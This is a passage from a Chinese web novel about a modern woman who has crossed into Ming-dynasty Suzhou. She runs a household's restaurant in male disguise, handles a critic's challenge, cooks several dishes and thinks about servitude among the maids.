“你自己作死不要拉我垫背,”徐翠云狠狠瞪着叶问芙,这是个没救的,她只能撇清干系:“你屋里昨晚春云吱哇乱叫的,我还当她又做错了什么叫你那么打她,现在才明白,原来是打她出去放火,你好歹毒的心。”
“昨晚明明你也在,这个主意明明是你出的。是你说春云跟蔓草关系亲近,所以叫她去的。”
徐翠云恨不得脱了鞋子塞进叶问芙的嘴里给她堵上:“大姐,您可要给我做主呀。这蔓草是她房中的丫头,春云也是,她记恨蔓草,指使春云纵火,眼看着就要被拆穿了,却来攀扯我。我冤枉啊大姐......”
说完扑倒在地上便开始嚎啕大哭,宋瑾冷眼瞧着,合着这院里各个都比她会演。
“哼,我看此事再明白不过了。一个姨娘居然因为记恨奴婢而指使下人纵火,按说我柏家也不敢留你,可眼下还在丧期。”
说到此处,文雅顿了顿,似乎在想如何处置叶问芙才比较解气。
“你也是太闲了,才会生出那些歹毒的心思来。你房中三个丫头今日起全都撤了,往后生活自行料理,等你忙起来自然顾不得害人了。”
“这西苑药材烧尽了,损失巨大,这纵火罪免了,这损失你总得补上吧。杜鹃,待会子你带着人去梅林院,四年房中从前老爷赏的头面首饰,还有布匹狐裘,凡是些能换银子,都帮着收拾起来,一并拿出去当了,也算是弥补吧。”
“往后菜式减半,荤腥不必见了,算是小惩大诫。”
杜鹃低声道是,叶问芙早已瘫软在地上。
宋瑾在一边听了,心里不禁想这封建社会老太太真的杀人不见血啊。
“等这丧期过了,我会给你找个好人家嫁出去的,也算是对得起老爷在天之灵了。”
宋瑾咽了口唾沫,好人家?这不就是折磨够了再扔嘛。
20. 开业
让宋瑾感到意外的是,文雅发落了叶问芙之后,并没有就她擅自做主牵扯梅林院一事质问她,而是当做无事发生一样,直接回了紫竹院。
这是杀鸡儆猴么?
宋瑾跟在文雅身后,战战兢兢地走着,眼睛止不住地看向文雅。
这个头发已经有些发白的妇人,从小浸泡在商人家庭的后院里,这些女人有什么心思,脑子里有什么想法,怎么处罚名正言顺,怎么处罚还能显得自己慈悲,她比谁都了解。
伪善这个词,在宋瑾眼中开始具象化。
至于叶问芙的下场,没有了那些金银首饰的加持,没有了人伺候生活,往后不知道要被磋磨成什么样子。
至于找个好人家嫁了,把人家容颜变得粗糙了,名声也差不多毁了,还能嫁什么好人家。
可是现在柏家上下都觉得文雅是个好人,因为她没有让叶问芙上公堂,没有让她受杖刑,还为她下跪求人,简直是菩萨显灵。
就在宋瑾脑中乱想之际,走在前头的文雅忽然停下脚步,转过头来看向宋瑾,道:“明儿你就回酒楼吧,那头该开业了吧?刘管事该回来了,你带上账房里头的伙计去,他帮着管账,你也轻松些。”
宋瑾想,我可真是谢你八辈子祖宗。
账房的人,怎么可能不是她信任的人。本来有个文新,两人相互掣肘,她已经要想办法拉拢了,如今又来一个账房伙计,她上哪里昧银子去。
宋瑾不得不应下,独自回了小屋,盯着地面发呆。
这一天实在是太险了。
如果不是那个比较圆滑的卢大人出现,如果不是柏家那房吵着立继,只怕今天没这么好糊弄过去。等宋瑾反应过来的时候,后背汗湿了一大片。
以后再也不能这么铤而走险了,等稳着点儿,别银子没挣着,命先没了。
这个古人,她是真不想当了,她想回二十一世纪去,至少能辞职。
不知道是不是被今天这混乱场面给惊了,宋瑾察觉过来的时候,脸颊上已经挂上了两行泪,她赶紧伸手抹了。
哭也得攒完银子脱了籍再哭。
这一天宋瑾的精神都不算太好,倒是察觉出文雅的心情大好,院中下人进进出出跑了许多趟,不是往里头送这个,就是送那个的,要不是丧期,估计都要叫戏班子来家里了。
对她而言,今天确实值得庆贺,可宋瑾担心春云,不知道离开梅林院后会被安排去哪里,终究是被自己给拖累了。
就在宋瑾一个人待在屋里惊魂未定之时,杜鹃突然走了进来,手上还端着一碟糕点。
嫩黄的糕点散发出甘甜的气息,看起来就很诱人,可是宋瑾没心思吃。
“大奶奶赏你的,虽说烧了间屋子,但是大奶奶心情不错。”
宋瑾心想,换成是她,她也会很高兴的。报仇得银子得名声,一箭三雕的事情办成了,换谁不高兴?
烧间屋子算什么?
“你怎么了?怎么看着不大高兴的样子?”
在杜鹃眼中,宋瑾是文雅的得力助手,帮着把事情办成了应该是高兴,可是她却拉着一张脸,怎么也笑不出来。
“杜鹃,你可有想过......脱籍?”
“脱籍?”杜鹃有些惊讶,“脱籍难如登天,与其想这些,还不如想想怎么哄大奶奶高兴呢。”
宋瑾垂下了头,不再说脱籍一事,可是杜鹃却起了好奇心。
“你想脱籍?”
“谁会不想呢?”
杜鹃叹了口气:“脱了籍你去哪里?吃什么喝什么?没田没地没房子,岂不成了流民?那还不如在这大院里做牛做马呢。”
宋瑾无言以对,于是转而问起梅林院一事。
“四娘那边怎样了?”
“还能怎样?但凡值点银子全都翻走了,大奶奶的意思,连头上带的都没有放过,我办的时候跟抄家似的。那头也慌了,哭哭啼啼的,往后日子不知道怎么过。夏日里还好,冬日里怕是难熬了,平日得罪人又太多,谁肯接济她。”
“那......丫头们呢?春云呢?”
杜鹃又是叹气:“还不知道呢,不过也就这两日的事情。春云是家生子,爹娘不是都去庄子上种地了嘛,估摸着她也要安排到庄子上去。至于另外两个,大抵是不会留了。”
宋瑾垂下眼,这件事的影响出乎她的意料,果然没有在这里生活过,不要轻易揣测结果。
可是眼下怎么办?
“春云......可不可以求求大奶奶,让我带春云到酒楼去。她从前跟我一起上灶,就算不能掌勺,洗洗菜洗洗碗什么的,总是可以的。”
宋瑾想,回了庄子估计这辈子就是种田种地了,到时候嫁个庄稼汉,生个种庄稼的,这辈子真是一眼看到头了。
“你想带她走?”
宋瑾点点头:“反正酒楼也缺人呀,不是安排这个,就是安排那个,春云如今就算种庄稼,也帮不上多大的忙,还不如去酒楼,伶俐又勤快。”
杜鹃抿抿唇,说的有道理,只是这事还是得看大奶奶的脸色。
正踌躇间,忽然外头蹦进来两个小丫头,正是紫竹院的两个粗使丫鬟莲心和梅香。
两个小姑娘看见杜鹃端着一碟子糕点进来,便知道是给宋瑾的,于是得了空就过来瞧一眼。
宋瑾看见两个孩子眼睛直勾勾地盯着那糕点,将盘子往前一推:“吃吧。”
梅香莲心也不客气,笑呵呵地谢过了,各自抓了一块鹅头颈来吃,边吃边道:“今儿早上那个穿绿衣裳的公子是谁呀,长得真好看。被一群人围着,真威风。”
莲心道:“对对对,就像前几天蔓草姐姐教的那个什么停停当当人人,我看他就像。”
“可惜了,咱们这里的事事风风韵韵可风韵不起来了。”
......
宋瑾杜鹃听了,都是不说话。
这女子一旦外嫁,便是别人家的人了,就是改嫁也得看夫家的意见,夫主不在了,就得看正妻。
若是来个强势的
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母家,或可一争,若是母家不强势,那便是叫天天不应,叫地地不灵了。
世间万般规则,困住的永远是无权无势之人。
至于那个停停当当,宋瑾只觉得这个人越是君子,越衬托的自己鬼鬼祟祟,见不得光。
天生的对头。
让宋瑾感到意外的是,第二天她离开时,跟着她一起走的,除了账房的一个伙计,还有梅林院的三个丫鬟。
家中的长班管事过来传话,说是大奶奶叫带去的,反正店中缺人,放在后厨里,也不避讳什么男子女子了,反正做饭的也是婆子,免得再买。
宋瑾一下明白过来,大抵是昨夜杜鹃跟大奶奶那边说了酒楼的情形,这才有了今日带人走的事情。
谢过陈管事后宋瑾便带着四人一道走了,她有些高兴,春云更是欢天喜地的。
酒楼取名食鼎楼,口气不小,牌匾早已请人去做。至于菜单,宋瑾原想写些四季皆有的菜式,用木牌子挂在墙上,却被陈管事给否了。
菜单这个东西,在大明实在不算普遍,毕竟九年义务教育没有普及的情况下,多数人都是不识字的,因此写了也是白写,没几个人看的懂。
其次是这个没有冰箱的年代,每日有什么也是不定的,因此只能由小二来介绍,所以菜谱用处实在不大,还容易引起误会,不如放弃。
宋瑾想通之后也明白过来,与其有菜单,不如有几个招牌菜。
她领着新来的三个姑娘去后院,先放下各自的行包袱,接着便去院中。
后院中搭了卷棚,用来洗菜,屋内起了大灶,柴房已经堆满。至于菜蔬,灶上几个婆子比宋瑾要熟悉许多,每日订好送来便可。
肉类需要跟屠夫们提前订好,有什么便吃什么,毕竟这里没有冰箱,存也存不住的。
宋瑾对这里尚不熟悉,尤其是在文雅那头吃了大亏之后,越发觉得自己对这个世界并不那么了解,因此不会想当然地提意见,只能紧紧盯着,随时准备改正。
里头两个烧饭婆子,三个帮忙的丫头,外头添了两个伙计,再一个账房,掌柜一职便交给了宋瑾自己。
说不紧张是假的,万一失败了,她就很难再翻身了。
开业的日子在牌匾送来的第二天,因为是打着文子晋的名号,所以柏家那边是不会帮一点忙,只能靠宋瑾自己想办法。
好在陈管事推荐的这个地段极佳,商铺林立,加上不远处就是府衙,坐在二楼便可望见,因此街上并不缺行人,缺的是如何把人引进来。
宋瑾之前展示了三道菜,分别是三种口味,最招文雅喜欢的是糯米蒸排骨,可惜时间太久了。鸡蛋又太常见了,大家兴致不高。
再三思量后,宋瑾打出了纯正广东风味的口号。
不只是在门口挂上了招牌,店里没人的时候,宋瑾直接把小二叫出去逛街,逢人便聊起这边的广东口味酒楼。
于是酒楼里客人没几个,但是安居巷开了一家能做广东菜的酒楼一事倒被不少人知道了。
21. 过招
宋瑾这样安排不是没有道理。
苏州富商多,文人也多,爱吃的人更不少,但是广东酒楼却不多。
此地不缺到过广东的人,对于广东口味,有不少人有些了解,因此若是有人喜欢,或者好奇,来尝试尝试都是有可能的。
先把人吸引到店,然后再想其他,没有人就什么都卖不出去。
及至晌午,酒楼里果然坐上不少人,有人问起店中有何种美食时,小二高声答:“清蒸鲫鱼,小店招牌,保管跟别处的不一样,客官尝尝?”
有人笑:“你家店今日开业,就有招牌菜了,唬人的吧?”
小二倒是不慌,答:“客官吃过才好评价。”
众人大笑,觉得小二在忽悠人点菜,不过上当的也不少,很快就有人要了一份清蒸鱼,说是定要尝尝有什么不一样的。
宋瑾不觉得自己招呼十六世纪的客人会比那小二更擅长,因此只站在柜边看着他招呼,见他应对自如,会讲的很,于是放心去了后院厨房。
第一天开业,宋瑾这个总厨是一定要盯着的,可不能砸了招牌,她还指望着这家店打出名声,将来养活自己呢。
鱼缸里鲫鱼鲜活,婆子听说要清蒸鲫鱼,袖口一挽,伸手抄进鱼缸,一阵水花四溅后,那鱼便到了手里。
接着便是“啪”的一声丢在石板上,一根粗棍朝着脑袋一敲,那鱼瞬间平息,任婆子开膛破肚,倒刮鱼鳞。
宋瑾在一边帮着看调料的比例,上锅蒸的时间,婆子掌勺,三个丫头帮着打下手,前头两个小二,一个账房收银,竟然顺顺当当的就开了业。
宋瑾想到这里的时候,前两日积攒的阴郁一扫而空,心中慢慢晴朗起来。
等到第一道清蒸鱼上了桌之后,宋瑾有些紧张地站在柜台边看着那客人的反应。
客人穿一身湖蓝绉纱道袍,头上飘飘巾,模样年轻,看起来倒是吃过好的。
也对,穷人谁吃清蒸鱼呢?
宋瑾记得小时候家里条件不好,逢年过节才能吃得上鱼,往往用红烧的方式,煮的颜色深深的,口味重重的,肉质也是干巴巴的。往往一顿饭下去,一块鱼也吃不完。
而清蒸鱼,那是一人一顿能吃一条的做法,对穷人而言,是极奢侈的事情。大概也是因为如此,才会在富人阶层以及水产资源丰富的地区流行起来。
苏州不缺鱼,也有蒸鱼的法子,只是与宋瑾的法子不大一样,因此宋瑾很好奇这人的反应。
哪晓得那人将一块鱼肉送进嘴里后,先是皱眉,忽又豁然开朗,再又皱起眉头,如此反复。
宋瑾在一边瞧着,表情跟着那人的变化而变化,直到感觉自己脸上都快多出几道褶子的时候,那人终于吃完了一道清蒸鱼。
也不叫上米饭,也不再点菜,直接叫了小二来付银。
“客官,三十五文。”
那人没有丝毫犹豫地从袖中掏了一吊钱出来,拆了线头,一边数铜板一边道:“我这可是金背,二十五文吧。”
伙计讪讪笑道:“若是金背,二十八文。”
那人抬眼瞧了眼伙计,乖乖数了二十八个,伙计笑着接过,完成了这第一单生意。
倒是宋瑾有些纳闷,之前酒楼装修之时,因为一直有管事坐镇,所以她对于银子这一方面所了解的并不详细,如今到了这一文一文开始计较的时候,忽然发现怎么还不一样。
原想等那伙计过来时,她去问问,又怕这个问题过于愚蠢,因而暂时憋住了。
这年头不认识官的人不少,不认识钱的人,稀罕了。
偏偏宋瑾就是那个稀罕的物种,她忽然发现自己不认得钱。
想到此处,宋瑾走到账房伙计阿荣的身边,装作好奇地抓起刚刚递来的铜钱道:“这铜钱,少见嗳。”
阿荣从前在账房里头,自然对这银子铜板了解甚多,看宋瑾好奇,便开始说道起来。
“这可是金背,比旋边火漆都要好,八个金背就值一分银呢。你从前在后院,少见银钱,所以不大认得。”
“一般客人也不大用这些,估计是个有些家底的。我瞧着今日客人有不少,将来要是做大了,咱们还得备个戥子,不然人家用银子来付可怎么好。”
宋瑾想,我还在想着能不能立足,这伙计已经在想着做大做强了,不禁撇撇嘴,这事她不急,谁叫她管不着银子呢。
她这个掌柜,水的很。
宋瑾原先想的法子很简单,这客人用铜板或者银子付了饭资,她要孝敬文雅,那就得把铜钱碎银换成整银,银子再拿去换成金,金再打成头面,这中间捣鼓好几趟,她怎么可能不揩油。
可是如今这银子都被这伙计拿住了,两人晚上对上账,顶多只有摸的份,哪有揩油的份。
她可不敢随意收买这伙计,万一背后告状,她就功亏一篑了。
只能慢慢再想法子了。
清蒸鱼这道菜算是把广东正宗口味的招牌给立住了,正不正宗不知道,但是肯定新鲜,大家都没吃过的口味,好奇心引来不少人。
只是宋瑾也明白,这道菜不亲民,昂贵,还不下饭。
所以她联合后厨的婆子,定了包括糖醋荷包蛋在内的好几道适合苏州本地口味的菜式,便宜,适合大众口味,同时也去寻找新的菜式。
哪晓得新菜式还没有定下来,店里倒来了一位特殊的客人。
说特殊,倒不是身份特殊,而是领他来的人,正是前几日穿湖蓝绉纱道袍的男子,这男子表情丰富到差点把宋瑾脸上学出褶子来,因此过去几日还记得清楚。
那人进来后直接找了个位置坐下,也不问小二今日有何菜式,直接喊道:“小二,来一份清蒸鲫鱼。”
那小二高高兴兴地应了:“好嘞,清蒸鲫鱼一道。”
说话间,便跑到后厨传话去了。
宋瑾觉得纳闷,总觉得这人今日带的人不简单。于是先回了后厨盯着做菜,等到那清蒸鱼出锅了,宋瑾也跟着出来,站在柜台边看着那客人作何反应。
那特殊客人穿了一身瓦松绿缎地折枝莲花暗纹道袍,头上带着唐巾,手上摇着一把折扇,扇上一面题诗,一面竹石图,背脊挺直,看起来倒有几分文人雅士的模
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样。不过比起青竹杆子,少了几分冷峻,多了几分装腔作势。
呸!
没事少想青竹杆子,容易触霉头。
只见瓦松绿夹了一筷子鱼肉送进口中,对面湖蓝殷勤介绍道:“关兄,尝尝这里的清蒸鲫鱼,这可是正宗的广东口味。”
宋瑾听了不禁吸了吸鼻子,这人在这帮自己推销么?
可是很快她就发现不对劲,因为对面那位瓦松绿关兄表情轻蔑:“就这?也叫正宗?”
说话间放下筷子,一本正经说教起来:“这道菜虽是用的清蒸之法,却比正宗的清蒸之法差远了。莫说我也吃过广东菜,就是没吃过,也该知道这法子不地道。叶兄初来乍到,怕不是叫人给蒙骗了,多吃几家吧。”
这人本来看着气质不错,说话声音也是洪亮,一柄折扇摇着甚是潇洒,结果一开口就是贬低自家的菜,宋瑾不乐意了,这不是砸她的招牌嘛。
这样想着的时候,宋瑾免不了往店内扫去,果然不少人都看向那瓦松绿,这她不能忍。
于是一摄衣摆,款步走至桌边,拱手道:“这位公子,可是对这道菜有什么高见?”
瓦松绿关兄斜眼看宋瑾,疑惑道:“这位是?”
“在下姓文,名子晋,乃是这食鼎楼掌柜。”
“哦,”那人熟练道:“既是掌柜,又是真心请教,那在下可就直说了。”
宋瑾微笑,示意他继续。
“这道清蒸鲫鱼,阁下说是广东风味,在下虽没吃过广东清蒸鱼,却也吃过别处的清蒸鱼。此鱼鱼肉嫩滑,却香气不足。吃,讲究色香味。你这道菜,色泽淡雅,却也单调,香气也不甚浓,至于这味嘛......”
那人说到此处稍微顿顿,又拾起筷子吃了一口,这才继续道:“鱼肉嫩滑,咸香正好,只是比我以往吃的,还是差了些。”
宋瑾微笑着指了指一边的条凳:“可否容在下坐下说话?”
那人扇子一合,慷慨道:“随意。”
宋瑾坦然坐下,学着男人的姿势,叉开腿,这才开始说话。
“大人所指以往的清蒸鱼,可是用秋油与酒蒸之,出锅之时再加香蕈笋尖佐配?”
那人听了眼睛一亮:“掌柜的原来也懂的嘛。”
宋瑾笑笑,接着道:“公子说的有理。这酒可去腥气,香蕈可添香气,笋尖风味更是独特,所以此法甚好。”
那人一听,心想这也是个行家,高兴道:“在下正是这个意思,秋油蒸法与你这蒸法,区别正在此处。掌柜的既已知晓,往后改正便是。”
宋瑾笑意不变,道:“这鱼有腥气才要去腥,这调料不够香所以才要增香。本店所选之鱼不过巴掌之大,嫩而不腥,因此不必用酒去腥。刚刚公子也说肉嫩,未曾提过肉腥,可见只要鱼好,烹制之时无需添酒。”
那人神情呆了呆,宋瑾接着道:“这清蒸鱼,吃的便是鱼之本味,若是添了香蕈与笋尖,虽说增添风味,却也喧宾夺主,依在下所见,此乃下下之策。”
那人表情更呆了,宋瑾笑问:“公子说,可是这么个理?”
22. 蚕豆煲
这番话完全是宋瑾临时起意,胡编乱诌,但是规则就是当真相不明时,谁编的像,谁就是真相。
那瓦松绿愣怔半晌,扇子也不摇了,话也不讲了,坐在对面的湖蓝开了口:“关兄,这菜如何?”
关兄不说话,却将扇子啪地一合,道:“再来两道菜。”
宋瑾没含糊,起身去了后院准备下厨。
宋瑾打算做两道菜,一道豉汁排骨,一道蚕豆煲。
排骨是早上买回来的,早早的泡在水里,血水已经去净。
大蒜剁成末,加上一小把幽菽,热油浇过,呛出满满的香味,再加酱油调味调色。
宋瑾有些遗憾,这里的酱油是没有生抽老抽之分的,只能混着用。也没有耗油,要是有足够多的生蚝就好了,她能自己熬制耗油。
可惜,这里离海略远,真有了生蚝,只怕也不是她能买的起的,只好作罢。
排骨洗净后,加盐和少量的糖,宋瑾便开始徒手翻捏起来,直捏到盐糖都吸收进去,排骨表面起了胶一样的物质才开始慢慢添一点点水,最后加上团粉挂浆。
排骨抓捏好了之后平铺在碗底,浇上料汁,抓匀后腌制一盏茶的功夫便可下锅去蒸。
宋瑾一边抓一边在心中可惜,要是在芋头成熟的季节,就可以在盘底铺满芋头,等蒸熟之后,芋头吸收了肉的油,和料汁的鲜,入口即化,滋味丰富,简直比肉还要好吃。
春云见状,早早的跑到锅底烧上大柴,锅中添足了水,只等锅里水滚了便可下锅去蒸。
宋瑾准备好排骨之后,便开始做起蚕豆来。
五月中的蚕豆即将下市,已经不再是甜嫩的味道,顶头处已经发黑,是成熟后的样子。所以宋瑾不打算做汤,而是做五香口味,虽缺了辣椒,却也勉强能应对。
蚕豆去外壳,但不去皮,要想煮出绿色的蚕豆,最重要的是开始要用水煮过。
冷水下锅,加油加盐一起煮开后捞出来沥干水。
宋瑾没有放香油,而是直接挖了一坨猪油下去,看的旁边的婆子心疼不已。
“掌柜的,这一碗蚕豆,放那么些猪油呢?”
宋瑾手上不停,面不改色道:“这蔬菜要软要香,就得加足够的油,菜油不行,得加猪油,不然口感不好。”
婆子懂得这个道理,只是心疼。
切成两段的蒜瓣,生姜,八角一并放了下去,缺了一味辣椒也只能缺了。
宋瑾想,等她脱了籍,一定要买好些地,种满辣椒,她要把辣椒发扬光大。
香料爆香之后倒入蚕豆,一并加入盐和酱油炒匀后加入开水淹没。
等到这一步做完,宋瑾盖上锅盖,走到灶膛下看了一眼火,叮嘱春云道:“我要小火慢煲,撤掉些柴火,别把水烧干了。”
春云听话地嗯了一声后撤掉了两根干柴,乖乖地在那里烧火。
五月里已经很热了,春云那张小脸在灶膛里烤的发红。
“后不后悔跟我出来?”宋瑾倚在她身边问她。
“不后悔,这里好,这里没人打我。”
宋瑾苦笑,对她们而言,不挨打就是好生活。
排骨虽是先下的锅蒸,却因为蚕豆更容易烂而同时掀盖。热气腾腾之中,两碗新鲜菜式就这么登场了。
宋瑾跟着那端盘子的小二,一并往前头走着,她真的想听听那人的评价。
菜端上桌,小二恭敬地请二位慢用后便退了下去,宋瑾则站在一边浅笑着看着二人。
瓦松绿关兄先是看了看那两碗菜,一碟子排骨,颜色偏白,并不算吸引人。
排骨这种食材,在穷人家庭本就不受欢迎,只因肉少而骨多,于穷人而言,花银子买这个甚是不划算,只有富裕些的人家才会考虑。
就是宋瑾开了店,也不敢每日都定,好在价格不贵,总能遇着富裕些的卖出去。
她想,往后若是遇着这样的菜式,最好来个提前预定,不然多损失几次,她这道菜就废了。
瓦松绿没有去夹那排骨,而是把筷子伸向了绿油油的蚕豆。
那蚕豆被猪油焖煮出来,虽是蔬菜,却带着肉香,粉粉糯糯的蚕豆入口后用舌尖一顶便在口中化开。
瓦松绿露出了那日湖蓝的表情,一阵疑惑后又豁然开朗,随后又是疑惑,如此反复。
吃了一回蚕豆后也不说话,夹了一块排骨往口中去。
排骨新鲜,油脂的香气里夹着一股蒜香,既解腻,又添风味。
那人尝了排骨,又回去夹了蚕豆,这才回头对着宋瑾道:“你这排骨普通,但是这蚕豆美味。清甜香糯,吃一粒口齿留香。”
宋瑾并不为排骨辩驳,毕竟口味这种东西,仁者见仁,智者见智,无须统一也很美好。
“公子若是喜欢,不妨常来。这蚕豆就要下市了,过两个月便是玉米成熟的季节,在下烹制玉米,也是与众不同。”
“过两月?”那人疑惑地问:“这段时日难道没有拿手的菜式了?”
宋瑾道:“自然是有,只是今日并未准备,所以不敢夸下海口。”
“无妨,”那人一挥袖子:“你也不必跟我说大话,我认识一人,在这苏州城里那是出了名的爱吃。你拿这菜说服我们没用,你要是能让此人心服口服,那你这小店在苏州就算是立住脚。”
宋瑾听了心中欢喜,这不就是传闻中的大佬降临,活脱脱的宣传案例呀。
就在她准备去问几时能将人请来时,忽然顿住,心想:
夸个海口就让我信?我又不是刚出茅庐的小子。万一他虚搬个大人物就在我面前装腔作势摆起谱来,我该如何收场呢?
“这天地下,就没有我文某说服不了的胃。”
大话先吹出去,能不能赢后面再说,气势不能输。
那人也没料到宋瑾口气如此之大,稍愣之后便对这对面的湖蓝道:“叶兄,今日先到这里,等我见了柴兄,一定告知,若是肯来......”
说到此处,那人看了看宋瑾道:“是福是祸,可就看掌柜的本事了。”
宋瑾笑笑:“必不让公子失望。”
那人不做停留,站起身子道:“等我的口信,你也准备准备菜式,我说的这位公子,可是从天吃到地,从河吃到海,这两碟子菜唬的住我,可唬不住他。”
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宋瑾笑笑,躬身谢过。
此刻再看这人,也不知道是因为辩驳输了,觉得没了脸面,这才搬出大人物来,还是有心帮人寻好吃的来。
她在二十一世纪见过试睡员,莫非这大明还有试吃员?
或者是谁家的帮闲清客?专门找些小店介绍给别人?
宋瑾不清楚,但是宋瑾知道,她的考验要来了,这下她是真的紧张了。
无论此人说的是真是假,她都要好好准备准备。
若真是吃货,这普通菜式必然糊弄不住,她得想想办法。
宋瑾想到的第一个办法便是回到柏家偷辣椒。
辣椒作为观赏植物,在大明用来做食材还并不普遍,这新鲜劲儿就很好。
宋瑾想到就决定去做,眼下太忙,于是定在第二日一早,酒楼开业还并不忙碌的时候回一趟柏家,去看看她爹种的那些番椒长势如何。
几人忙碌一天,眼看着最后一位客人即将吃完,宋瑾跟那账房阿荣一起核算今日账单。
她起先觉得文雅给她一个账房是防着她,现在看来也不全是,因为她真算不来这大明的账。
拨弄算盘的本事早就丢到姥姥家了,她看着阿荣那上下翻飞的手指就觉得自己一时半会的实在学不来。
账本不止一册,白日里使用的是一本,来一笔记一笔,草草记过,若是递给宋瑾来看,必然看不出任何名堂来。
“这个叫草流,咱们自己记自己看,旁人看了也是看不懂的,所以给主家得重新誊抄过。”
阿荣一边说着,一边照着草流账本誊抄到另一个账本上。
“给大奶奶看的就是这个么?”宋瑾问。
“也不是,等到了月底,还得核算一回,记在结册上,要是叫大奶奶看这一笔一笔的,岂不是把眼睛看瞎。”
宋瑾想,这古人记账也挺科学的,都有汇总表了。
阿荣算账是一把好手,宋瑾只在一边瞧着。刚刚营业的店里要想盈利几乎不大可能,这件事情宋瑾心里是有本账的。
每日晚间两人算好账目,预算好明日要付的银钱,都交由阿荣照看好。
他就住在店中,所以很方便,宋瑾多数时候要回马蹄巷去住,偶尔时间太晚,遇上宵禁,便只能在这边凑合。
因为这个原因,她已经好些日子没见过文新了,不知道那边都在忙些什么,不过随便想想也知道比她轻松许多了。
自打那日一把火烧了西苑,一下烧去诸多药材,柏家必然要再次采买。于是原先买来的那些药材又一一搬回了柏家,悄无声息的变了现。
文雅提出了立爱继之后,这下子柏家那房跟文雅便对上了,两边都在找讼师,宋瑾估摸着这官司过不了多少时日便要开打了。
她整日在这安居巷里忙碌,手上不停,心里却很清闲。
不用勾心斗角,不用挨骂,只专心跟婆子们研究菜谱,现在多了一个研究席面,她誓要好好招待这位大美食家,将食鼎楼的名声打出去。
只要食鼎楼的名声起来了,她食鼎楼掌柜的名声自然跟着起来,到时候想赚钱,那还不是轻而易举的事情。
23. 番椒
当天夜里,宋瑾没有回马蹄巷,就窝在后头的屋子里,跟婆子还有几个丫头们一起商议菜单。
这商议着商议着,话头便跑偏了。
一个婆子道:“咱们苏州,爱吃的人可多了,不光爱吃,还爱写,都是一帮有钱有闲的人。要是能得哪位贵客给咱们写上一写,夸上一夸,那咱们食鼎楼可就出了名儿了。到时候还怕没有客人上门么?”
另一个婆子道:“我听说好些人为了投其所好,四处找些好吃的好玩的,有找馆子的,有找厨役的。现在快到夏日了,咱们城门不远处有个卖冰的,每年夏天那门口热闹的嘞,咱们要是也那般热闹就好了。”
“那般热闹,累死你。”
两个婆子坐在一起,手上捧着一碗茶,相互打趣,倒是宋瑾上了心。
“那你们可知道这可能会来的食客是哪位?”
两个婆子摇头:“这如何得知?等来了自然晓得了。”
宋瑾知道,可是她不想只等着,总得筹备筹备。
“那一般请人吃席,是怎样的规矩?”
婆子答:“这一般人吃席都是在家中,三汤五割是最起码的,不过咱们这也不是设席,顶多就是试个菜,尝个口味,是好是坏且不好说呢。”
“是啊是啊,咱们只管做好菜就行,想那些太远了。”
宋瑾点点头,表示知道了,心里却没停下盘算。
这富人为什么要吃些刁钻的东西?求的就是一个不一样,你要是把他当做一般食客对待,那第一印象便不好。
为什么那些大酒楼里总有人弹琴唱曲,那玩意儿又不饱肚子,要的就是一个氛围,宋瑾也不能落下,她得跟上。
请人唱曲就罢了,但是氛围还是可以考虑考虑的。
这天晚上她跟红杏春云采薇三人挤在一张铺上睡了,四个人听说可能会有大食客来,都有些激动的睡不着。
“你们说,咱们这店里要是火了,将来咱们能不能存下银子?”红杏在黑夜里问。
采薇道:“要是火了,咱们洗菜能洗脱一层手皮。”
春云笑:“那我在灶下要烤干了。”
“嗳,忙来忙去,都是替别人的忙的,咱们口袋里空空荡荡,这没了主子,也不知道逢年过节的赏赐能不能想到我们。”
宋瑾此时才反应过来,这在院里有了主子,若是主子好,那丫鬟也是好过的。
逢年过节的赏赐少不了,有了稀罕的吃食,主子也会惦记着下人,可是到了这里,对春云来说或许是好事,可是对采薇红杏来说就未必了。
她们二人从前跟着叶问芙,倒是没怎么挨打挨骂,全是宋瑾春云在扛着。
她想着,或许这二人是不满意的,可她没有办法,大奶奶塞过来的。
“你们为何会被卖进柏家呀?”
宋瑾有些好奇,毕竟这样的年纪不算小,按说都可以出嫁了。为何没有出嫁,而是被卖进了柏家?
像蔓草春云这样的家生子,那是不可能被转卖出去的,除非柏家没落了。
而采薇红杏这种,似乎不像她们这般的奴籍,一生一世定死在那里。她们更像是卖去做工,毕竟卖良为奴是不被允许的。
“还能为什么呀,当初老爷给的多呗。像咱们这种人,那不就是谁给的多就去谁家。是嫁是卖,上头有爹娘在,还能轮到咱们做主?”
宋瑾忽然想明白过来,不许人诱拐贩卖,但却不干涉家人主动去卖。所以夫卖妻,父卖女,儿卖娘,这些都不少见。
有些家庭不卖活不下去,卖了或许能活,可也不是人的活法,而有些人家纯粹是为了多些银子,至于孩子的将来,并不在考量范围内。
“那你们将来打算怎么办?”
“咱们这种人是没有将来的。”红杏翻了个身嘟囔着。
宋瑾无言,倒是春云,黑夜里挤了挤宋瑾:“那姐姐你呢?”
“我想脱籍。”宋瑾几乎是脱口而出,这个日日夜夜都在脑中呐喊千万遍的愿望。
另外三人俱是无声,半晌后一声叹息,大家默默睡了。
第二日一早,宋瑾早早起床洗漱,接着便趁着店中空闲,独自往柏家去了。
她是个假公子,独自一人的时候也就懒得装,免了雇轿,自行在街道上走着。
此刻时辰尚早,街头行人稀疏,只有赶着去读书的孩童,以及准备卖早餐的铺子在忙碌,还有宋瑾这个一时的闲人。
柏家离得稍远,宋瑾直走到太阳升起,晒得身子发烫才走到柏家门外。
敲过了门之后是门子来应门,见了人便叫进去。
“可要帮你传话?”
宋瑾笑着摇摇头:“我是来找厨房的婆婆们讨教些做菜的事情,先不打搅大奶奶了。”
门人嗯了两声,回头关了门,宋瑾独自往里头去了。
柏家厨房里一早就热闹开了,烧饭的烧饭,烧水的烧水,煮面烙饼一个都不能少。等到宋瑾回来,早饭那阵子已经忙过了,此刻正在杀鸡杀鸭地准备午饭呢。
几位婆子见着宋瑾进来,都挺热情。
“蔓草回来啦?酒楼怎么样?可有客人?”
宋瑾笑笑:“也是有些客人的,只是不多。”
李婆婆安慰她:“这一开始啊都是这样的,慢慢的就好起来了。你做的菜大奶奶的爱吃,口味定然不差,只是有些人还不知道罢了。”
“但愿如此吧。”
说话间,宋瑾扫视一圈,找到了蔓草她娘的身影,一种奇怪的氛围在二人之间流动。
“娘。”
宋瑾先唤了一声,陈婆子这才应了一声:“嗳,最近可忙?”
“店里生意刚上手,有些忙。不过有阿荣红杏他们帮我,倒也还好。”
“那就好。”
陈婆子眼神躲闪,刚说完话就低头去拔手上刚宰的鸡的毛。
宋瑾忽然反应过来,或许陈婆子问的不是宋瑾如何,而是那个蔓草如何。
